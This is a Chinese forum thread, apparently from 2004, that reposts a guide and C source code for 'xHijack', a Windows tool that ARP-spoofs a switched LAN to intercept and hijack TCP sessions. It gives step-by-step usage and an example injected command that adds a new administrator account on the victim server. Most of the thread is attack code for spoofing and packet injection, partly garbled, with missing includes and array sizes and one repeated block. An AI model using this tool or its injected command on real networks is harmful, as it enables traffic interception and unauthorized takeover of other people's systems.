韩冰 发表于 2004-11-21 01:44

再谈交换环境下的会话劫持(For windows2000)

第一步是开启IP Routing的功能,修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。
第二步是ARP欺骗,具体原理我就不说了。
第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能,使用如下:

Usage: xHijack ServerSide ClientSide

下面根据三种不同的情况分别说明如何输入参数:
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程:server <--> client
劫持后数据流程:server <--> hijacker <--> client

<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
xHijack 202.202.202.2 202.202.202.1
劫持前数据流程:server <--> gw <--> routes <--> client
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client

<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
xHijack 192.168.0.1 192.168.0.2
劫持前数据流程:client <--> gw <--> routes <--> server
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server

输入两个参数后,会提示你选择网卡,然后会提示
l        <-- List all connections
r x       <-- Reset the number x connection
w x       <-- Watch the number x connection
h x command   <-- Hijack the number x connection to execute command

list、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令,输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。

劫持的流程如下:
<1>伪装成Server给Client发一个rst包
<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server

这样的话,我们只能发一个伪造的包,但我想已经足够了。
想要一直劫持那个连接也可以,如下
<1>伪装成Server给Client发一个rst包
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。

不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。


刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
还请各位多多指点。

BTW:我没有空间,编译好的程序没地方放:(



参考资料
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377


以下是程序代码
----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File      : xHijack.c
Version      : 1.0
Create at    : 2002/8/12
Last modifed at  : 2002/8/19
Author      : eyas
Email      : ey4s@21cn.com
HomePage    : www.ey4s.org
感谢refdom和shotgun发布的源代码,使我获益非浅。
If you modify the code, or add more functions, please email me a copy.

备注:
<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
题了。

也许下一版本会修正这些问题,也许不会有下一版本了。

-----------------------------------------------------------------------------*/
#include
#include
#include
#include
#include
#include
#include

#pragma comment (lib, "packet")
#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")

#define Max_Num_Adapter 10
#define Max_Num_IPAddr  5
#define EPT_IP      0x0800      /* type: IP  */
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
#define EPT_ARP      0x0806      /* type: ARP */

#define  ACTION_NONE    0
#define  ACTION_WATCH  1
#define  ACTION_RESET  2
#define ACTION_HIJACK  3

/*以1字节对齐*/
#pragma pack(1)
typedef struct _ehhdr
{
  unsigned char  DestMAC;
  unsigned char  SourceMAC;
  unsigned short  EthernetType;
}EHHDR, *PEHHDR;

typedef struct _iphdr        //定义IP首部
{
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
  unsigned char tos;        //8位服务类型TOS
  unsigned short total_len;    //16位总长度(字节)
  unsigned short ident;      //16位标识
  unsigned short frag_and_flags;  //3位标志位
  unsigned char ttl;        //8位生存时间 TTL
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
  unsigned short checksum;    //16位IP首部校验和
  unsigned int sourceIP;      //32位源IP地址
  unsigned int destIP;      //32位目的IP地址
}IPHDR, *PIPHDR;

typedef struct _tcphdr        //定义TCP首部
{
  USHORT th_sport;        //16位源端口
  USHORT th_dport;        //16位目的端口
  unsigned int th_seq;      //32位序列号
  unsigned int th_ack;      //32位确认号
  unsigned char th_lenres;    //4位首部长度/6位保留字
  unsigned char th_flag;      //6位标志位
  USHORT th_win;          //16位窗口大小
  USHORT th_sum;          //16位校验和
  USHORT th_urp;          //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

typedef struct _psdhdr        //定义TCP pseudo header
{               
  unsigned long saddr;
  unsigned long daddr;
  char mbz;
  char ptcl;
  unsigned short tcpl;
}PSDHDR, *PPSDHDR;

typedef struct _arphdr
{
  unsigned short  HrdType;//硬件类型
  unsigned short  ProType;//协议类型
  unsigned char  HrdAddrlen;//硬件地址长度
  unsigned char  ProAddrLen;//协议地址长度
  unsigned short  op;//operation
  unsigned char  SourceMAC;/* sender hardware address */
  unsigned long  SourceIP;/* sender protocol address */
  unsigned char  DestMAC;/* target hardware address */
  unsigned long  DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct _ArpPacket
{
  EHHDR  ehhdr;
  ARPHDR  arphdr;
}ARPPACKET, *PARPPACKET;

typedef struct _tcppacket
{
  EHHDR  ehhdr;
  IPHDR  iphdr;
  TCPHDR  tcphdr;
}TCPPACKET, *PTCPPACKET;

typedef struct _conninfo
{
  DWORD  dwServerIP;
  USHORT  uServerPort;
  DWORD  dwClientIP;
  USHORT  uClientPort;
  DWORD  ident;//标识
  BOOL  bActive;
  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;

//定义全局变量

韩冰 发表于 2004-11-21 01:44

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
        g_OwnIP,//本机IP地址列表
        g_TotalIP = 0;//
unsigned char  g_szOwnMAC;//本机MAC地址
unsigned char  g_szClientSideMAC;
unsigned char  g_szServerSideMAC;
char      g_szTcpFlag = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread;
char      g_szCommand;//command to execute after hijack
DWORD      g_dwAction;//action type
DWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识,递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
        g_pConnLast = NULL;
char      g_szSendPacketBuf;
LPPACKET    g_lpSendPacket;
//函数
void      usage(void);
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
USHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);



int main(int argc, char **argv)
{
  struct    bpf_stat stat;
  int      i;

  usage();
  if (argc != 3) return 0;
  //取得参数
  g_ServerSideIP = inet_addr(argv);
  g_ClientSideIP = inet_addr(argv);
  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
  i = 1;
  g_hThread = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
  i = 2;
  g_hThread = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
  g_hThread = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
  //create interface thread
  g_hThread = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
  }
  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
  else
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
}

//
//功能:重置所有于ACTION有关的标志
//

韩冰 发表于 2004-11-21 01:44

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
        g_OwnIP,//本机IP地址列表
        g_TotalIP = 0;//
unsigned char  g_szOwnMAC;//本机MAC地址
unsigned char  g_szClientSideMAC;
unsigned char  g_szServerSideMAC;
char      g_szTcpFlag = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread;
char      g_szCommand;//command to execute after hijack
DWORD      g_dwAction;//action type
DWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识,递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
        g_pConnLast = NULL;
char      g_szSendPacketBuf;
LPPACKET    g_lpSendPacket;
//函数
void      usage(void);
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
USHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);



int main(int argc, char **argv)
{
  struct    bpf_stat stat;
  int      i;

  usage();
  if (argc != 3) return 0;
  //取得参数
  g_ServerSideIP = inet_addr(argv);
  g_ClientSideIP = inet_addr(argv);
  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
  i = 1;
  g_hThread = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
  i = 2;
  g_hThread = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
  g_hThread = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
  //create interface thread
  g_hThread = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
  }
  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
  else
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
}

//
//功能:重置所有于ACTION有关的标志
//

韩冰 发表于 2004-11-21 01:45

void ResetActionAllFlag()
{
  g_dwCtrlConn = 0;
  g_pCurrCtrlConn = NULL;
  g_dwAction = ACTION_NONE;
}

//
//功能:处理Ctrl+C和Ctrl+Break事件
//
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
  switch(dwCtrlType)
  {
    case CTRL_BREAK_EVENT:
      //reset action all flag
      ResetActionAllFlag();
      break;
    case CTRL_C_EVENT:
      //terminate all thread
      TerminateThread(g_hThread, 0);
      TerminateThread(g_hThread, 0);
      TerminateThread(g_hThread, 0);
      TerminateThread(g_hThread, 0);
      break;
    default:
      break;
  }
  return TRUE;
}

//
//功能:处理用户输入
//
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
{
  DWORD  i;
  char  szBuff;

  *lpCommandPos = 0;
  for(i=0; i<15, i代码比较乱
//
DWORD WINAPI InterfaceThread(LPVOID lp)
{
  char  szHelp[] =  "l\t\t<-- List all connections\n"
            "r x\t\t<-- Reset the number x connection\n"
            "w x\t\t<-- Watch the number x connection\n"
            "h x command\t<-- Hijack the number x connection to execute command\n"
            "\n"
            "Ctrl+Break to clear all action\n"
            "Ctrl+C to exit\n";
  char  szPrompt[] = "\nxHijack>";
  char  szBuffer;
  DWORD  dwPos;
  PCONNINFO  pTmp;

  while(1)
  {
    gets(szBuffer);//不考虑buffer overflow
    switch(szBuffer)
    {
      case 'l':
      case 'L':
        ListAllConnection();
        break;
      case 'r':
      case 'R':
        if(strlen(szBuffer) >2)
        {
          g_dwCtrlConn = GetConnNum(&szBuffer, strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_RESET;
        }
        else printf("%s", szHelp);
        break;
      case 'w':
      case 'W':
        if(strlen(szBuffer) > 2)
        {
          g_dwCtrlConn = GetConnNum(&szBuffer, strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_WATCH;
        }
        else printf("%s", szHelp);
        break;
      case 'h':
      case 'H'://h 1 xxx
        if(strlen(szBuffer) > 5)
        {
          g_dwCtrlConn = GetConnNum(&szBuffer, strlen(szBuffer) - 2, &dwPos);
          //如果command第一个字符是'或"
          if( (szBuffer == '\'') || (szBuffer == '\"') )
          {
            strncpy(g_szCommand, &szBuffer, sizeof(g_szCommand) - 3);
            g_szCommand = 0x0;//去掉最后一个'或"
          }
          else strncpy(g_szCommand, &szBuffer, sizeof(g_szCommand) - 3);
          strcat(g_szCommand, "\x0D\x0A");
          g_dwAction = ACTION_HIJACK;
        }
        else printf("%s", szHelp);
        break;
      default:
        printf("%s", szHelp);
        break;
    }//end of switch
    //find the specify ident's struct point
    if( (g_dwCtrlConn) && (g_dwAction) )
    {
      g_pCurrCtrlConn = NULL;
      pTmp = g_pConnHead;
      while(pTmp)
      {
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
        {
          g_pCurrCtrlConn = pTmp;
          break;
        }
        pTmp = pTmp->Next;
      }
      if(!g_pCurrCtrlConn)
      {
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
        //reset action all flag
        ResetActionAllFlag();      
      }
    }
    if(!g_dwCtrlConn) ResetActionAllFlag();
    //显示当前用户所期望的动作
    printf("\nCurrentAction:");
    switch(g_dwAction)
    {
      case ACTION_WATCH:
        printf("ACTION_WATCH");
        break;
      case ACTION_RESET:
        printf("ACTION_RESET");
        break;
      case ACTION_HIJACK:
        printf("ACTION_HIJACK");
        break;
      default:
        printf("ACTION_NONE");
        break;
    }
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
  }//enf of while
  return 0;
}

韩冰 发表于 2004-11-21 01:46

//
//功能:列出当前所有连接
//
void ListAllConnection()
{
  PCONNINFO  pTmp;
  SOCKADDR_IN  saDest, saSource;
  pTmp = g_pConnHead;
  while(pTmp)
  {
    if(pTmp->bActive)
    {
      saSource.sin_addr.s_addr = pTmp->dwServerIP;
      saDest.sin_addr.s_addr = pTmp->dwClientIP;
      printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr),
        ntohs(pTmp->uServerPort));
      printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort));
    }
    pTmp = pTmp->Next;
  }
}

//
//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址
//
LPADAPTER InitAdapter()
{
  LPADAPTER  lpAdapter;
  static char AdapterList;
  char    szSelectAdapterName;
  WCHAR    AdapterName;
  WCHAR    *temp,*temp1;
  ULONG    AdapterLength = 1024;
  int      iAdapterNum = 0;
  int      iRetCode, i;
  int      iAdapter = 0;   
  ULONG    ulLen = 0;
  DWORD    dwRet;
  PIP_ADAPTER_INFO  pAdapterInfo = NULL, pTmp;
  PIP_ADDR_STRING    pIPAddr;

  //Get The list of Adapter
  if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
  {
    printf("Unable to retrieve the list of the adapters!\n");
    return 0;
  }
  temp = temp1 = AdapterName;
  i = 0;
  while ((*temp != '\0')||(*(temp-1) != '\0'))
  {
    if (*temp == '\0')
    {
      memcpy(AdapterList<i>,temp1,(temp-temp1)*2);
      printf("%d - %S\n", i+1, AdapterList<i>);
      temp1=temp+1;
      i++;
    }   
    temp++;
  }
  //choose adapter
  while((iAdapter &lt;= 0) || (iAdapter &gt; i))
  {
    printf("\nPlease choose your Adapter:");
    scanf("%1d", &amp;iAdapter);
  }
  printf("\n");
  //---------------------------------------------//
  //这里调用iphlpapi来取得本地ip_addr和mac_addr
  sprintf(szSelectAdapterName, "%S", AdapterList, sizeof(szSelectAdapterName)-1);
  dwRet = GetAdaptersInfo(pAdapterInfo, &amp;ulLen);
  if(dwRet != ERROR_BUFFER_OVERFLOW)
  {
    printf("GetAdapterInfo error:%d\n", GetLastError());
    return 0;
  }
  pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen);
  if(!pAdapterInfo)
  {
    printf("malloc memory for pAdapterInfo error:%d\n", GetLastError());
    return 0;
  }
  dwRet = GetAdaptersInfo(pAdapterInfo, &amp;ulLen);
  if(dwRet != ERROR_SUCCESS)
  {
    printf("GetAdapterInfo error:%d\n", GetLastError());
    return 0;
  }
  pTmp = pAdapterInfo;
  while(pTmp)
  {
    //字符匹配

韩冰 发表于 2004-11-21 01:46

if(strstr(szSelectAdapterName, pTmp-&gt;AdapterName))
    {
      //found it,get own adapter mac address
      memcpy(g_szOwnMAC, pTmp-&gt;Address, 6);
      //get ip address
      pIPAddr = &amp;pTmp-&gt;IpAddressList;
      while(pIPAddr)
      {
        g_OwnIP = inet_addr((char *)&amp;pIPAddr-&gt;IpAddress);
        pIPAddr = pIPAddr-&gt;Next;
        if(g_TotalIP &gt;= Max_Num_IPAddr) break;
      }
      break;
    }
    pTmp = pTmp-&gt;Next;
  }
  free(pAdapterInfo);
  //not found,return zero
  if( (!pTmp) || (!g_TotalIP) ) return 0;
  //---------------------------------------------//
  //open adapter
  lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList);
  if (!lpAdapter || (lpAdapter-&gt;hFile == INVALID_HANDLE_VALUE))
  {
    iRetCode = GetLastError();
    printf("Unable to open the driver, Error Code : %lx\n", iRetCode);
    return 0;
  }
  // set the network adapter in promiscuous mod
  if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE)
  {
    printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n");
    if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE)
    {
      printf("Unable to set ALL_LOCAL mode!\n");
      return 0;
    }
  }
  // set a 512K buffer in the driver
  if(PacketSetBuff(lpAdapter, 512000) == FALSE)
  {
    printf("Unable to set the kernel buffer!\n");
    return 0;
  }
  // set a 1 second read timeout
  if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE)
    printf("Warning: unable to set the read tiemout!\n");
  if(PacketSetNumWrites(lpAdapter, 1) == FALSE)
    printf("warning: Unable to send more than one packet in a single write!\n");
  //设置发送的packet
  g_lpSendPacket = PacketAllocatePacket();
  if(g_lpSendPacket == NULL)
  {
    printf("Error:failed to allocate the LPPACKET structure for send packet.\n");
    return 0;
  }
  ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf));
  PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514);
  return lpAdapter;
}

//功能:帮助信息
void usage()
{
  printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n"
      "By eyas 2002/8/19\n"
      "http://www.ey4s.org\n"
      "Thanks to Refd0m and shotgun\n\n"
      "Usage: xHijack ServerSide ClientSide\n\n");
}

//
//功能:显示数据包的一些详细信息
//
VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail)
{
  SOCKADDR_IN    saDest, saSrc;
  unsigned char  FlagMask;
  int        i;

  saDest.sin_addr.s_addr = pTCPPacket-&gt;iphdr.destIP;
  saSrc.sin_addr.s_addr = pTCPPacket-&gt;iphdr.sourceIP;
  printf("\n%-15s:%-5d -&gt; ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket-&gt;tcphdr.th_sport));
  printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr),
    ntohs(pTCPPacket-&gt;tcphdr.th_dport), usDataLen);
  //display TCP flag
  for( i=0, FlagMask=1; i&lt;6; i++, FlagMask &lt;&lt;= 1)
  {
    if((pTCPPacket-&gt;tcphdr.th_flag) &amp; FlagMask)
      printf("%c", g_szTcpFlag<i>);
    else printf("-");
  }
  printf("\n");
  //如有需要,可显示更多详细的信息
  if(bDetail)
    printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket-&gt;tcphdr.th_seq), ntohl(pTCPPacket-&gt;tcphdr.th_ack));
}

//
//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能
//
DWORD WINAPI AnalysePacketsThread(LPVOID lp)
{
  ULONG      ulBytesReceived;
  USHORT      usDataLen;
  //USHORT      usIPHeadLen, usTCPHeadLen;
  char      *buf;
  u_int      off, i;
  PTCPPACKET    pTCPPacket;
  struct bpf_hdr  *hdr;
  LPPACKET    lpRecvPacket;
  char      szPacketBuf, *pStr;
  BOOL      bDeleteNode, bAddNew;
  DWORD      ident;//当前所处理的数据包,所属的连接的唯一标识
  BOOL      bClientToServer;//数据包是否从客户端发送到服务器端

  //设置接收的packet
  lpRecvPacket = PacketAllocatePacket();
  if(lpRecvPacket == NULL)
  {
    printf("Error:failed to allocate the LPPACKET structure for recv.\n");
    return 0;
  }
  ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
  PacketInitPacket(lpRecvPacket, szPacketBuf, 256000);
  while(1)
  {
    // capture the packets
    if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE)
    {
      printf("Error: PacketReceivePacket failed.\n");
      break;
    }
    ulBytesReceived = lpRecvPacket-&gt;ulBytesReceived;
    buf = lpRecvPacket-&gt;Buffer;
    off = 0;
    while(off &lt; ulBytesReceived)
    {
      hdr = (struct bpf_hdr *)(buf + off);
      off += hdr-&gt;bh_hdrlen;
      pTCPPacket = (PTCPPACKET)(buf + off);
      off = Packet_WORDALIGN(off + hdr-&gt;bh_caplen);
      //不需要处理自己发出的包(转发或本机发送的)
      if(memcmp(pTCPPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue;
      //检查是否IP包
      if(pTCPPacket-&gt;ehhdr.EthernetType != htons(EPT_IP)) continue;
      //检查是否TCP包
      if(pTCPPacket-&gt;iphdr.proto != IPPROTO_TCP) continue;
      //也不处理DestIP是自己的包
      for(i=0; i

韩冰 发表于 2004-11-21 01:47

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
            //reset action flag
            ResetActionAllFlag();
          }
          //start hijack
          else if(g_dwAction == ACTION_HIJACK)
          {
            //send rst packet to client
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
            //send hijack packet to client
            SendHiJackPacket(pTCPPacket);
            //reset action flag
            ResetActionAllFlag();
          }
        }
        //show the tcp data
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
        {
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
          //暂不考虑IP、TCP头不是20字节的情况
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
          pStr = (char *)pTCPPacket + 54;
          for(i=0; i        }
      }
      //debug output
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
    }//end of analyse packets while
  }//end of recv packets while
  PacketFreePacket(lpRecvPacket);
  return 0;
}


//
//功能:操作记录所有连接信息的单向链表
//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
{
  PCONNINFO  pNew, pTmp;

  pTmp = g_pConnHead;
  while(pTmp)
  {
    if(pTmp-&gt;bActive)
    {
      //found it
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
        (pTmp-&gt;uClientPort == uClientPort) )
      {
        if(bDelete)
        {
          pTmp-&gt;bActive = FALSE;
          return 0;
        }
        else return pTmp-&gt;ident;
      }
    }
    pTmp = pTmp-&gt;Next;
  }
  //not found, create new node
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
  {
    //search unactive note
    pTmp = g_pConnHead;
    while(pTmp)
    {
      if(!pTmp-&gt;bActive) break;
      pTmp = pTmp-&gt;Next;
    }
    //found a unactive node
    if(pTmp)
    {
      pTmp-&gt;dwServerIP = dwServerIP;
      pTmp-&gt;uServerPort = uServerPort;
      pTmp-&gt;dwClientIP = dwClientIP;
      pTmp-&gt;uClientPort = uClientPort;
      pTmp-&gt;bActive = TRUE;
      return pTmp-&gt;ident;
    }
    //not found,create new node
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
    if(!pNew)
    {
      printf("malloc for link node error:%d\n", GetLastError());
      return 0;
    }
    //fill the struct
    pNew-&gt;bActive = TRUE;
    pNew-&gt;dwServerIP = dwServerIP;
    pNew-&gt;uServerPort = uServerPort;
    pNew-&gt;dwClientIP = dwClientIP;
    pNew-&gt;uClientPort = uClientPort;
    pNew-&gt;ident = ++g_ident;
    pNew-&gt;Next = NULL;
    //add new node to link
    if(!g_pConnHead)
      g_pConnHead = g_pConnLast = pNew;
    else
    {
      g_pConnLast-&gt;Next = pNew;
      g_pConnLast = pNew;
    }
    return pNew-&gt;ident;
  }
  return 0;
}

//
//功能:判断一个数据包是不是只有ACK标志
//
BOOL IsACKPacket(unsigned char flag)
{
  int  i, j=1;
  for(i=0 ; i&lt;4; i++)
  {
    if(flag &amp; j) return FALSE;
    j &lt;&lt;= 1;
  }
  if(!(flag &amp; 0x10)) return FALSE;//is ack?
  if(flag &amp; 0x20) return FALSE;
  return TRUE;
}

//
//功能:伪装成Client给Server发送数据包
//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
{

  char    szBuff;
  PSDHDR    psdhdr;
  PTCPPACKET  pHiJackPacket = NULL;
  BOOL    bRet = FALSE;

  __try
  {
    //
    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for hijack packet
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    if(!pHiJackPacket)
    {
      printf("malloc error:%d\n", GetLastError());
      __leave;
    }
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
    //-------------- modify the packet ---------------//
    //modify ethernet head
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
    //modify ip head
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
    pHiJackPacket-&gt;iphdr.checksum = 0;
